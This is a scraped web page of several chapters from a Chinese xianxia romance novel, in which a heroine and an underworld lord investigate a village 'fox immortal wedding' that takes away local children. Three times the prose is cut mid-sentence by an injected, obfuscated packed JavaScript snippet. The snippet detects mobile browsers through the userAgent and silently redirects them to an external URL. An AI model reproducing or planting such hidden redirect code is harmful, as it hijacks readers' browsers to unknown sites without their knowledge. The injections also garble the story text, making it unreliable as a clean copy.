年迈的声音“嗬嗬”笑了笑,“阿茴不爱吃吗?不爱吃,奶奶可伤心了……” “爱吃爱吃。”年轻的声音娇俏地应道:“奶奶做的最好吃了!是我吃过的最最最好吃的!每回我自己都能吃大半碗,我怎么可能不爱吃啊!” 女孩似乎依偎在老人身边撒娇,惹得老人既无奈又宠溺地笑:“好,好,我的小阿茴,奶奶知道……爱吃就好,那奶奶高兴了!” …… 推开房门,门里走出一个扎着双髻的小姑娘,手里拎着一只干燥的木桶。她走到檐下,将那桶雨水来回沥了一遍。 “咪咪咪,喵喵喵……”她嘴里唤着猫咪。 院墙上跃上了一只灰白相间的小动物,轻巧地跃下来,栽进女孩敞开的怀抱里。 “哈哈哈。”她揉了揉怀里的动物,“乖,乖,小猫,我给你洗个澡好不好呀!” 小动物伸出舌头舔着自己的爪子,配合地点点头。 小姑娘有些惊讶道:“咦,今天这么听话,一会我要奖励你鱼干吃。” 肥肥的小身板泡进了木桶里,女孩柔软的手指揉捏着“猫咪”的圆头、耳朵、脖颈,然后顺着背脊一路撸到尾巴。 “猫咪”舒服的哼哼唧唧,四脚朝天,露出柔软的肚子。 “乖猫,乖猫!”女孩噔噔噔跑回房间,再出来时手里拿着一条小鱼干。 “咦?”她看见院墙上多了一个人影,鹅黄色的。 “神仙姐姐!!” 漆瑭翻身而下,面色古怪地看着云茴手里的小鱼干,和木桶里那只浣熊妖。 “你管这家伙叫……小猫?” “嘭——” 浣熊妖一跃而出,肥胖的身体将木桶撞翻了,它仓惶地往外逃去。 漆瑭立时甩出一道灵力锁将那小妖怪捆住。 它“哇”了一声,便跌到地上,扭来扭去地挣扎,甚至还颇有灵性地作揖求饶,一张毛脸口吐人言:“仙子在上,放小妖一码吧,小妖从未害过人啊,也从不偷东西抢东西……” “是吗?”她挑起眉,将那小妖拎起来抖了抖。 “噼里啪啦” 掉落一地小鱼干、熏肉干…… “呃。”浣熊妖脸色灰白,每一根毛都写着“生无可恋”。 云茴脸色惨白,冲上去摇着浣熊问道:“你把我的小猫怎么了,你把我的小猫怎么了?!” 浣熊被摇晃的直翻白眼,舌头吐在尖尖的嘴筒边:“没怎么,好着呢!那家伙不爱洗澡,仅此而已!” 云茴卸了劲似的“呼”了一声,转头泪光澹澹地瞧着漆瑭。 漆瑭居高临下睥睨着小妖,冷冷道:“不仅偷东西,还蛊惑凡人,罪加一等。” “小妖没有!小妖没有啊蛊惑凡人啊!”浣熊妖连喊冤枉。 漆瑭:“那为何她会将你认作小猫?” 此话一出,云茴那白嫩嫩的小脸霎时变得通红。 浣熊妖伸出一截毛茸茸的胳膊指着云茴道:“她……她……” 女孩好似终于下定了决心似的,两只小手将自己的衣摆拧来拧去,吞吞吐吐地说:“我……我有一点点脸盲。” 漆瑭忽然想起和这姑娘初见的场景—— “瞪大你的眼睛!认清楚,小爷才是青少!” ……能将猫与浣熊认混,还能叫“一点点脸盲”吗?! 不过,“哎,小孩,那你怎么一瞧见我就认出我了?” 云茴鼓起腮帮子,小脸通红,眼神闪躲道:“神仙姐姐……神仙姐姐长得这样好看,我……我就是记得啊!” 漆瑭坏心眼地“噗嗤”一笑,再转头看向浣熊妖,一张脸立马变得面无表情。 浣熊妖被她看得心里直打突突,艰难地吞咽了一口唾沫,狗腿道:“是是是!仙子长得如此花容月貌,闭月羞花,天人之姿……”漆瑭脸色不变,浣熊的声音也越说越小。 见状不妙,它两眼一翻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579094|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌头长长地耷拉出来,一副死样。 “别装死。”漆瑭蹲下身,弹了它一个脑瓜崩。 浣熊妖生无可恋地睁开眼睛,老老实实道:“仙子,我知道您应当在找‘那东西’……”它毛茸茸的爪子挡住嘴,欲盖弥彰地悄声说:“人说‘狐仙’,可是仙不是仙,狐自然也不是狐。” “你打什么哑谜?”她脸色一沉,气势陡然变得冷峻。两道灵力刃毫不留情地深深扎进浣熊妖脑袋两侧的地面。 浣熊吓得一个哆嗦,告饶道:“没有没有,不敢不敢,小妖万万不敢欺瞒仙子。”它四只渐渐的指爪朝天,作起誓状,“小妖发誓小妖说的都是真的,仙子您品,您这么聪慧美丽……”漆瑭睨了它一眼,浣熊妖立马收起滑头模样老老实实继续道:“不是打哑谜,只是更多的小妖也不知道了,也不敢说些旁的……小妖怕死啊!”它连连磕头,“求仙子饶小妖一条活路,求仙子饶小妖一条活路吧……” 漆瑭盯了它半晌,心知再多的话也问不出来了,便撒了灵气锁,任小妖一跃而逃。 起身,却见小院里屋的门不知何时打开了,檐下站着一个满头银丝的老妪。 “奶奶!” 云茴颠颠地跑到老人身边。 老人浑浊的眼珠在漆瑭身上打了个转,眼翳中无一丝惊惧,冷静得可怕。 她忽然正色对漆瑭深深地鞠了一躬,“这位是小女的恩人仙君吧,寒舍虽陋,但还请仙子拨冗一歇。” 黑天与阴天衔接的悄无声息,雨歇了没多久,灰黑色的雨云便被黑蓝色的天幕取代了。小院里透出窗内暖黄色的光晕。 室内,八仙桌上坐着三个不同年龄段的女人。 年老的那位起身给油灯添了块油,坐回位置后顺手将衣摆抚平,一举一动礼数周全。 内里将将二十岁的妙龄女郎有一张娇艳年轻的脸,乍一看是个娇俏灵动的少女,然而眼神深如海,除去表层浮浅的那抹笑意,深处却滚动着令人不安的东西。气度不凡,举手投足隐有灵气纷纷。 老人心知她是一位修士,修行者灵气驻颜,无法从外貌看出真实年龄。 最小的那个丫头,尚是豆蔻年华,一双狐狸眼本生得极魅,却常常瞪得圆溜溜的,平白多了分傻气,将魅气中和,竟有种别样的可爱。她一会瞧瞧奶奶,一会瞧瞧神仙姐姐,头摇得像个拨浪鼓。 “这是自家养的土鸡,仙子可愿赏脸一尝?” 雪白的陶瓷砂锅中,乳白色的鸡汤微微荡漾,散发着醇厚的香气。袅袅的热气绕着明亮的油灯打旋,竟是一派烟雾缭绕。 漆瑭笑得眉眼弯弯,颔首道:“多谢,那我就却之不恭了。” 乳白的汤汁滚进碗中,青翠的葱丝在翻滚的汤汁中一闪而过。 她长长地舒了一口气,赞道:“好喝!” 云茴高兴得手舞足蹈。 奶奶脸上的笑意也多了一份真实,她又盛了一碗递给云茴道:“阿茴,去外面瞧瞧鸡可下了蛋了?” 云茴应一声好,便端着热乎的鸡汤跑走了。 空气里尚残留着阴雨天的霉味,她一边喝着笼中鸡它二舅,一边缓缓踱步到鸡笼旁,“咕咕咕”地唤那鸡。 鸡昂首挺胸地蹲着睡觉,闻言掀开半拉眼皮,颇为轻蔑地瞥了她一眼。 云茴看着鸡光滑的七彩羽毛,一拍脑门。 ——家里只剩这只公鸡了,哪里下蛋呢? 此时,屋内。 “仙君,您莅临我们这个小地方,可是为了‘那一位’?” 漆瑭转了转手中的瓷碗,汤汁在油灯的光晕里闪过若有似无的彩光,状似不知,“那一位,是哪一位?” 老人忽站起身,双手整理裙摆,然后跪下了去。 “仙君在上,老身定知无不言,只恳请仙君,可否带小女云茴走一条生路?” 漆瑭神色一肃。 11. 狐仙娶亲 三日前,水行村码头。 “老孙,今日收获颇丰啊?” 名为老孙的渔民将渔网蟹笼等物什丢到栈道上,然后翻身跃上来。边下锚边道:“哎,这都是抛了两日攒的,而且都熬死了。今儿不知怎的,啥也网不上来。” 那人笑道:“定是神海奶奶瞧你这两日抛的笼收获太丰了,今儿便要挫挫你锐气。” “这算啥子丰了,死鱼卖给你,你要不要?” “哎,别急,别急啊!” 这时又有船只靠岸,渔夫似乎与老孙也很熟悉,隔着老远道:“哎老孙,你今儿也没捕上啥来?” 身边人拍了老孙一把,损道:“呦,瞧谁又幸灾乐祸来了!” “去你的。”船上人正色道:“我今日也空了网,先前碰见乔家的,他也是啥也没捕到。” 一人这样,尚能说是巧合,可若是三人呢?甚至……所有人呢? “你也空网?” “莫非你也是?” “我倒是捞上来条死鱼,谁要?” …… 老孙蹲在栈道上,满脸肃然:“事有古怪。” “哎。”身旁人捣了他一下,“别想先前了,你瞧那是什么?” 众人抬头朝海上瞧去。远处,海天一线间有一道灰色的影迅速变大,那是什么东西正在以极快的速度朝岸上扑来。 “遭了,海啸!” “什么?!” “跑,快跑啊!” “跑跑跑,往山上跑!” …… 那场海啸声势浩大,却在逼近水行村时偃旗息鼓了,像是被陡然截断的瀑布。海浪扑在堤岸上,溅起老高的水花,随着水珠一起掉落的,还有那无数上乘的鲛珠。一颗,便足普通人家一年衣食无忧。 令人觉得不可思议。 然而接下来,村民们却瞧见了更不可思议的一幕—— 村头,十六只狐狸人似的后腿直立,抬着大轿。 最后那大轿被抬到了村长忍历府上,众目睽睽之下,那轿里走下来一个人。头戴斗笠,身披蓑衣,脚踩雨靴,自称是狐仙的代理者。 说到忍家,漆瑭先前见到的那小少年“青少”便是忍家独子。他有一个姐姐,传言儿时测得灵根天赋异禀,现在已经拜入珩海州玄机宗,成了对村民来说至高无上的“仙子”。 也是因为此,忍家在水行村的地位水涨船高,颇有些当地“土皇帝”的意思。忍家主的话,自然也颇有分量。 忍历说那场海啸本该将村彻底毁了,是狐仙大人慷慨出手,庇护了大家。狐仙大人喜爱养小孩,像人类爱养小猫小狗似的,所以特意挑选了几个雨雪可爱的小孩,送去狐仙洞府。 来日,这些孩子必有万般造化。 于是,那轿子离开的时候,上头多了十六位孩童,八男八女。 村民们不是蠢货,并未尽信其言。有人说那狐仙爱吃小孩,有人说狐仙是在养童养媳、童养夫…… 众说纷纭。 然而信众最多的观点,就是“童养x”观点。 他们管这叫——狐仙娶亲。 “仙?”老人摇摇头,“老身不能苟同。什么仙,凭白无故赠人鲛珠?那些孩子,分明是交换的代价。” 漆瑭想到不久前那浣熊妖神神秘秘说的——“仙不是仙,狐自然也不是狐。” 不是狐,那是什么? 她又想到雨幕里那个令人感到不适的蓑衣人。 莫非是……人? 恶蜮分身此次寄生的是人? 老人抬起皱如老树皮的手,摁了摁眼角,“老身年迈无力,多余的做不到。本以为下一次就该轮到阿茴了,所以这几日把家里的鸡鸭都宰给她吃了……那丫头一向嘴馋……” 这时,门“哗啦”一下被碰开。 云茴泪水涟涟地跌进来,“奶……奶奶,你怎不跟阿茴讲啊!我……我……” 漆瑭却瞳孔一缩。 因为她看见了云茴身后的一个高大黑影。 来者脸色不善,阴阳怪气道:“不是长腿了,怎么不继续跑了?” …… 老人将云茴接进怀里,搂得很紧。 门前的黑衣男子给人的感觉非常危险,她不由自主地屏息凝神,仿佛踏错一步就会陷入万劫不复。 空气紧张得近乎凝固。 这时,身旁忽然跃出去一个鹅黄色的身影,宛如暖的春风灌进刺骨的冰窟,巧妙地化解了来者咄咄逼人的锐利气势,也打碎了凝固的空气; 老人这才敢大口呼吸:“这位是?” 漆瑭想了想,编造道:“这是我……兄长。” 他既然处处隐身,打着低调行事的主意,那她这样掩饰应该也没错? 易昀不置可否,那就是默认了。 漆瑭亲昵地拉起他的袖子,带他寻了椅子坐下。 她的手很白,他的衣袖又格外的黑,黑与白的色彩对比分外鲜明,鲜明得有些刺目。易昀彷佛真被刺了眼似的,倏地将目光收回。 “仙君莅临寒舍,老身不胜荣幸……” 老人举手投足间都不似普通的乡野村妇,漆瑭佯装不知,就像老人不会追问她的身份来历一般,她自然也不会追问老人的。聪明人之间自有一份默契。 易昀继续面色不善,没有搭理旁人的礼貌问候。 漆瑭笑着打破这份尴尬,顺其自然接话道:“劳烦阿婆再取只碗来吧!” 云茴虽然脸盲且迟钝,但她也察觉到了现在气氛的不对劲。紧张地缩在椅子上,咬着手指,盯着面前香喷喷的鸡汤,悄悄咽了口口水。 好想吃,但是不敢动。 蛾子绕着油灯飞啊飞,光晕将神仙姐姐白皙的脸照得暖融融的。她贴心地亲手盛了一碗鸡汤递到她“兄长”手里,热汤的热气氤氲,将男子那张凶巴巴的脸拂去了几分锐气。 云茴惊讶地发现,这男子长得好生美丽,头发很黑,皮肤很白,眉眼深邃……不愧是神仙姐姐的兄长。 “啪” 他将碗撂在桌上,这声响吓了云茴一跳,她收回视线,再不敢看了。 易昀这个人暴躁且阴晴不定,加之常年身居高位养成了他目中无人的性子,他为人处事只看心情,不给任何人面子。 冷笑一声道:“这种东西,恐怕只有你会喝。” 语气饱含嫌弃,且一句话骂了三个人。 漆瑭突然觉得:要不你还是隐身吧…… 她将碗捧回手里,娇憨一笑,对云茴和老人道:“我爱喝,他不喝我喝。” 老人年轻时也曾走南闯北,见识过不少修士,她心知许多修者是瞧不上她们这样的凡人的,妄论这样气度不凡的修士,自傲一些也在所难免。她并未将易昀的无礼放在心上,反而很感激漆瑭的解围。 “好好,仙君喜欢就是老身的荣幸。”她看着少女吨吨吨喝着汤,眼神里情难自禁流露出一丝慈祥,“慢些喝,锅里还有。” 桌上四人,画风两样。 一边是其乐融融的三个女人,另一边是冷眼旁观的易昀。他目光深沉地打量着漆瑭,油灯的光亮将她的脸颊上的细小绒毛照得根根分明,有蛾子在光源处飞过,她的脸上便落下一片阴影。 他指尖一弹,空气微妙地波动了一下。蛾子原地去世,尸体飘啊飘,飘进了漆瑭的鸡汤里。 漆瑭:……搞什么幺蛾子。 易昀眯了眯眼,不动声色地将手放平。 结果,眼前出现了一只杏。 漆瑭极其敏锐,早就察觉到他心情糟糕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579095|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但她向来是个吃软不吃硬的性子,起先还因为自己乱跑有些心虚,后来见他态度强硬,一脸“你们所有人都欠我八百万”,她就不虚了。 她叹了一口气,有点无奈地说:“既然你不爱喝汤,那你吃个杏吧,我这次出门在乾坤袋里装了许多。”她又掏出来一个,“给你两个。” 一左一右,两颗黄澄澄的杏。 易昀沉默地盯着杏看了一会,吃了一个。 好了。漆瑭心里呼了一口气,顺势问道:“阿兄,今日山上如何?” 易昀听见这声“阿兄”,牙齿一个用劲,竟将杏核咬碎了。他眼皮一跳,不动声色地咽下去,才言简意赅概括了一下。 …… 冥主出师未捷。 正如漆瑭所想,他打的是将山掀了的主意。见掀山无用,便打算去搅海。熟料影踪印记跑个没完,他有些疑心漆瑭是被恶蜮掳走了…… 漆瑭呵呵一笑,并不打算拆穿他“找了半天一无所获不得已灰溜溜回来”的谎言。 易昀睨了她一眼,总觉得她那笑不怀好意…… 那边虽没进展,漆瑭这里却有不小的收获。 她将前因后果完完整整说给易昀之后,他平静地说:“无论是不是狐,只要它敢出现在本尊面前,必有来无回。” 漆瑭:…… “咳,阿兄,那你拆了人家山上的老巢,它若还敢往你跟前凑,那不是傻吗?” 易昀不在意她话中的刺,反倒欣然点头:“见到本……我还不跑确实是智力低下。” 漆瑭:你又阴阳谁呢? 话落,黑气突然蛇行而出,屋外传来一声凄厉的鸡叫—— 耷拉着脑袋的死鸡被黑气拖进屋内,它光滑的尾羽在灯光里滚着七彩的亮色,一簇紫火唰地从体内逃逸出来。 “哇!”哭声未尽,便被黑气彻底捏碎。 “家禽……身无灵力,智力低下,极易被恶念侵蚀……可是恶念为何出现在此?”漆瑭撂下筷子,眉头轻轻拢起,“恶蜮来过了?!” “咚——” 这时,屋外突然传来院门被强行破开的声响。 漆瑭起身跃到易昀身后,他长袖一翻,二人便双双隐身。 老人神色肃然,缓缓地打开房门。 不知何时归来的狸花猫轻巧地挤了进来,跳进云茴的怀里。一人一猫相互依偎取暖,仿佛彼此同样的惊惶不安。 一道高亢的人声自屋外传了进来:“姜阿婆,这回可是泼天的富贵啊!” ** 夜已深,云幕低垂,使得云块看上去格外庞大,宛如夜幕上洇染开来的浓重墨迹。 马车骨碌碌滚过青石巷。马儿奔得快,掠起的风掀开了车帘的一角,隐约可见一道纤瘦的人影。 马车最终驶进“忍宅”,停于宽敞的后院。与陷入沉睡的宁静村庄不同,忍宅后院却极为热闹。 家丁、仆寰……起码十余人,整整齐齐拥在院内。十多双眼睛,热切地盯着车上走下来的人影。 小丫头紧紧抱着怀里的狸花猫,许是头一次见识这种场面,一双狐狸眼瞪得溜圆,瞳孔微颤,满目惶骇。 管家率先走上前来,一张老脸笑得如同菊花,搓搓手乐呵呵道:“这就是云茴姑娘吧?莫怕,莫怕啊,就跟上学堂一样,待学了满肚知识,就能回来看你奶奶了。”说罢,转身安排道:“姜家云茴,安排下榻!” 家丁们齐声道:“是!姜小姐,请下榻!” 云茴抖了一下,将猫儿抱得更紧了。狸花猫整只猫蜷在女孩香软的怀抱里,本就不自在,被她紧紧一勒,差点浑身炸毛。 女孩犹犹豫豫地跟着其中一位仆妇的指引走向了厢房,身后,马车又“嗒嗒嗒”跑了出去,准备迎接它的下一位客人了…… 12. 猫咪 “把你的爪子拿开。” 猫儿口吐人言,竟是一把冷而硬的青年音。 “云茴”自知理亏,悻悻地松开手,任由猫从她怀里跃到桌上。猫傲慢地昂着头,迈着猫步在小桌上巡视一番,颇有王者归来的气场。 室内空旷,尚只有“云茴”一人,猫与桌上的烛火离得近,所以落在墙壁上的影子便格外的大;烛芯轻晃,那影子便也跟着晃漾,莫名的诡谲。 猫不是猫,而是易昀;云茴自然也不是云茴,而是漆瑭。 事情是这样的—— 当时姜家院门打开,简直像摔破的酒罐,外面的人呼呼啦啦涌了进来。十数个手持刀枪棍棒的大汉,将姜家小小的院子填满。 “姜阿婆,这次可是泼天的富贵啊!”打头的人笑呵呵揣着手,像只肥硕的报喜鸟。 姜阿婆将孙女挡在身后,淡声道:“老身年迈,破桶烂盆,就是天大的富贵也接不住。” “上仙垂青,有何接不住一说?” 他支使手下挑进来一担“大礼”,红色的绸布掀开,里面如山的金堆晃瞎了人的眼。 “云茴小姐根骨上乘,狐仙大人特意差遣我们定要好好地将小姐接回山上,待学了一身本事下山,定能与阿婆过上更好的日子。这岂不美哉?” 姜阿婆神色不变,“老身没几年活头了,从不奢求荣华富贵,只想与孙女安度晚年。” “您是打定了主意不配合狐仙大人?” 姜阿婆反问:“您又是打定了主意要掳走我的孙女?” 报喜鸟眯成缝的笑眼里,狡猾的精光一闪而过,他压低声音,以一种只有姜阿婆能听见的声响低低地说:“孙女临走,阿婆也舍不得叫小姑娘见红吧。” 已然图穷匕见。 姜阿婆沉默。 最终,女孩抱着猫上了马车——只是中途人换了,猫也换了。 漆瑭有句话说的不错,既然易昀将山上的老巢捣毁了,那它要是还敢往那里凑,无异于自寻死路。正因如此,它在这当口大张旗鼓地“娶亲”就显得颇为违和。 无论它怀的是什么鬼胎,只需一探虚实便知。 漆瑭有些意外易昀能同意当猫,本来她提出“替换”主意,是指他替换云茴,而她留在姜家也行,当猫也行。 熟料他手一挥,她就变成了云茴,手里还抱着一只……傲慢的猫。 冥主虽说活了起码一千年,然而他常年盘踞冥界。要知道,冥界是一个了无人烟的地方,为数不多的活物就是胆小的树精们和对他言听计从的鬼将们,据说还有几个因故搬迁到冥界的活人,但看起来活人们与冥主也没有什么日常交往。 这就导致了易昀身上有一种略显违和的“不谙世事”。 比如生活在凡间界的人,会将人与动物分得很清楚,粗俗点讲就是“人与畜生有别”。但在易昀这里,人与牲畜、禽兽都没有什么差别。 他平等地一视同仁,平等地睥睨众生。 但他现在有点后悔变成猫了。 体型虽然变了,但五感还是那个五感。这就导致了他能清晰地感受到女孩的体温,柔软的手指,指尖若有似无的馨香…… 猫炸毛,猫想跑,猫闭上眼睛。 女孩没有下榻,而是拉开桌前的木椅坐了上去,胳膊放在桌上,脑袋搁在胳膊上。她看着近在咫尺的狸花猫,猫闭着眼睛,呼吸时长长的胡须会轻颤,莫名有些可爱。 漆瑭觉得手痒痒,轻轻揪了那胡须一下。 猫顿时炸毛,低声怒喝道:“大胆!” 女孩竟然不退反进,笑眯眯地前倾柔软的身体,将猫拢进了怀里,手一下下给它顺毛。掌下的触感毛绒而温暖,越揉越上瘾。 然而对猫来说却起了反作用,他的毛更炸了。 易昀眼神一沉,周身气场骤然变冷。然而就在他将要发作的前一瞬,面前突然出现了一颗杏。 黄澄澄,沾着太阳还未变暖时凝固的露水。像冰凉的烛芯,也像冷的圆圆的太阳……这种东西也是可以给予的吗?还是施舍。 易昀确实为之烦躁,但那只是情绪表层的薄膜,他的探究欲是悬在薄膜上的尖刀,一旦落下,里面的东西将会大白天下。 可是带着一点自卫式的警惕,他刻意将所有的情绪压下去,防止尖刀落下,不去剥离那层薄膜。 漆瑭眼看着狸花猫安静了下来,心里有一种意料之内的惊讶。像是有意识地撞破了什么隐秘的秘密,不敢冒昧前进又舍不得就此放弃,久违的难言的兴奋感。 这感觉像是习惯了滚烫的岩浆后,突然发现了一排通往天堂的冰刃,不前进,就会继续在岩浆里挣扎;前进,每一步都落在冷而利的冰刃上,有被伤到面目全非的风险,但也有到达天堂的可能性。 她会怎么选择呢? “来人了。”狸花猫平静地提醒。 漆瑭回过神来,感受着怀里一小团温热,突然笑了起来。 两只眼睛像两钩月牙,瞳孔里倒映着明亮的烛光,像两泓波光粼粼的泉。眼中真实的笑意就是无数游鱼,在泉里游弋,给看客留下满心惊艳。 猫的瞳孔微动。 又是那该死的不安,直觉告诉他必须制止这样说不清道不明的趋势,然而心里无数细小的声音在说“继续下去,那就是你渴望的,你等待千年的东西”。 最终,细小的声音被压了下去。猫跃出女孩的怀抱,就地消失了。 门外传来开锁的“咔哒”声。 木门再次打开,仆妇带进来一个约莫十来岁的男孩。她站在门前,眼珠子滴流转,打量了一圈屋内,问道:“姜小姐,你的小猫呢?” “云茴”满脸不安,指了指半敞的窗户,结结巴巴道:“跑……跑了。”其实是隐身了。 仆妇若有所思地点点头,敷衍地笑了一下道:“好了,那两位好好休息吧。”转身“嘭”地关上了门,离开了。 “你是……姜云茴?” 男孩与不安惊恐的云茴全然不同,他兴奋得像一个春游的小孩子,满目好奇地这打量那瞧瞧。 “云茴”点点头,迷茫道:“你是?” “嗨。”男孩拉开她身旁的椅子,大喇喇地坐下,“我叫李尚,你是不是记得这个名?咱俩以前上过同一个学堂,可惜后来我退学了。我可没忘记你,小脸盲,当初王夫子教你记人,你记不住,还被打了手呢!” 说完,他自己嘎嘎乐起来。 “云茴”也跟着傻乐,不好意思地揪着衣摆,“好像是有这么回事… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583080|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …没想到我们从前还是同窗,好巧啊。” 李尚从怀里掏出一个布兜,小心翼翼地搁在桌上,展开。里面竟是十来个圆润的水煮蛋。 “快,你挑一个。” “啊?不,我不饿……多谢你。”漆瑭不明白这傻孩子又来哪一出,他虽与云茴是同龄人,却生生比云茴高一个头,看来是只长身高不长心眼。 “哎呀,不客气。这是我娘特地给我带上的,叫我和同窗们好生相处!”他挑出一个水煮蛋,强硬地塞到“云茴”手里,“给你。” “那我……那我收下了,多谢你,和你娘。”女孩双手捧着水煮蛋,是一幅珍惜的模样,弯弯的笑眼里少了几分冷静,多了几分真实的笑意。 旁观多时的易昀面无表情地看着烛光下的这一幕。 在他开悟似的意识到“给予”二字后,突然就开始留意到了生活中存在的“给予”。比如现在,李尚给予云茴一个水煮蛋。 可是被给予、被施舍的她,显然很开心。肉眼可见的,因为这一个“给予”,男孩和女孩之间原本生疏的氛围陡然一变,关系竟变得亲近起来。 “你还真的信了,咱们是去山上学艺?”女孩一双眼睛不可置信地瞪大了,像是见到了什么珍稀物种。 “啊?”男孩挠挠头,迷惑了,“那不然呢?我娘还想多给我带些干粮来着,可是忍家人催得太急,我才这样空着手来了。” “你倒是想想,先前上山的人可有回来的?可有你认识的?” “嗨!他们太小了,不是说要学有所成才能下山吗?定是那群小孩学的慢,你瞧我的吧。”他举起手臂,凹了一个造型,“我定会成为第一个下山的人哈哈哈!届时,还能帮你捎家信什么的下山。” 漆瑭:…… 夜风从半敞的窗中吹进来,烛火一摇,一半的烛火摇得剧烈一些,另一半温和一些。像是窗里的半扇风被什么东西挡住了似的。 她若有所觉地往窗边看了一眼,空空荡荡,看不到冥主的身影。但她莫名有一种感觉,他就在屋里,正在看着她。 像一只警惕的野兽,对人类的绳索虎视眈眈。它知道那绳索是要套到自己的脖子上,却不知道那意味着什么。只是出于生物本能的观察、警惕、戒备、抗拒。 她的野心不仅是给野兽套上绳索,还包括将那绳子握在自己手心。这是那五颗杏给她启示与底气,也是绳子出现的契机。 如她所想,易昀确实仍然在盯着她看。 如瀑的黑发整齐地垂落,袍角却被夜风吹得与烛火一起摇晃。无人能见的他与不远处热闹的谈笑场景格格不入。 那两张笑脸莫名有些刺目,让他有些不爽。冥主不爽了,那就有人要遭殃了。 李尚剥了一只白嫩的水煮蛋,递给“云茴”,她说太晚了不愿吃,于是他将鸡蛋塞进了自己的嘴巴里。一整个,一口气塞了进去,腮帮子立马鼓了起来,两片嘴唇死命地扣住那只鸡蛋。 场景颇为滑稽,女孩被逗得咯咯笑。 突然,他觉得鼻子里好像进了什么小飞虫,鼻腔与喉咙相接处刺辣辣的。于是没忍住,他喷了。 被嚼碎的白的蛋清、黄的蛋黄喷了满桌,男孩呛出泪来。 “咳咳咳——咳!” 13. 竹林 时至正午,碧空澄澈,白日高悬。本是太阳最盛之际,然而此地却弥漫着一股诡异的氛围。空寂的山林里,有一架火红的花轿缓缓地移动。 花轿由香樟木打造,大而豪华,轿顶呈攒尖式顶,顶端置一颗色泽上乘的鲛珠。轿身同样重工,上面雕刻着诸多图案。奇异的是,世上花轿大多雕刻些譬如凤凰、喜鹊、仙鹤等充满“美好寓意”的图案,然而此轿雕刻的竟是某种鸡鸭似的家禽。 两条短而细的腿,覆羽的身子。 初次之外还有一个更大些的图案,长长的一条,似蛇也似蛟。 不过这些都不算什么,更为诡异的是,担着花轿的竟是十六只直立的狐狸。 它们毛色统一,近似于烛火即将燃尽的橘红色。长而蓬松的尾巴支愣着贴在后背上,后腿稳稳地支撑起身体,走的每一步都很稳健。在身后落下一串小巧的梅花脚印。 上身直挺挺的,花轿担在肩上,一只前腿扶着花轿,另一只前腿自然地下垂,随着步履摆动。 一双细长上挑的狐狸眼半眯半睁,隐约可见灰褐色的瞳孔,如月食的阴影般遮盖着后面的某种东西。 它们整齐地担着花轿在山路间如履平地,直到抵达山顶附近的一片竹林。 竹林密密匝匝,一棵紧挨着一棵,其中并无通路。 然而狐狸们就在此停下了。 花轿似乎很重,使得他们留下的爪印极深,然而它们放下花轿的动作却轻而缓。 落轿后,狐狸们整整齐齐地垂头、垂手,分站在轿两侧。 见轿停了,里面伸出一只白胖的手,将轿帘掀开。手的主人轻车熟路地下轿,露出一张圆润富态的脸,此人正是当日前往姜家抢人的“报喜鸟”,忍府管家。 他笑眯眯地为身后人掀开帘子,对里面邀请道:“到地方了,下轿吧各位。” 里面传出一小阵嘈杂声,接着,一颗毛茸茸的头率先探了出来。 是一个男孩,眼珠子转了两圈,打量了下四周景色,然后利索地出轿,嘴里还衔着半颗水煮蛋。 “可算是到了,快出来呀大家!” 此人正是昨夜给漆瑭分水煮蛋吃的李尚。 昨天,在李尚到来之后,又陆陆续续来了几个十三四岁的孩子,共计四男四女。李尚热情地把他娘给他带的水煮蛋挨个分了,和大家混了个脸熟。 孩子们有的没心没肺,如李尚;有的忧心忡忡,应当是家里人对“狐仙娶亲”有什么猜测;还有的只是单纯恋家,一个劲哭着找爹娘…… 闹了一夜,无论是不是心甘情愿,他们最终都在第二天正午被拐上了狐狸花轿。 也许是早上吃了对这些普通人家的孩子们颇为稀罕的珍馐,他们竟也慢慢放下了戒备,开始期待起上山的生活了。 有孩子问:“山上也能吃到这种锦绣糕吗?” “报喜鸟”笑眯眯地保证:“当然可以,跟着狐仙大人,什么玉盘珍馐都是应有尽有。“ 有的孩子小小地欢呼了一声,有的孩子看似冷静,但骤然亮起的双眼已然出卖了心里的兴奋。 漆瑭不动声色。不知道有多少孩子的家人明知凶险却卖子求荣,也不知有多少是全家被蒙在鼓里,单纯地做着一个遥不可及的梦。 她想到了姜阿婆,将多年来赖以为生的鸡鸭杀尽,她的背影虽然瘦削苍白,却坚定地挡在孙女身前。若不是心知以卵击石只会给孙女徒留创伤,她肯定豁出那条命也会和忍家人拼了。 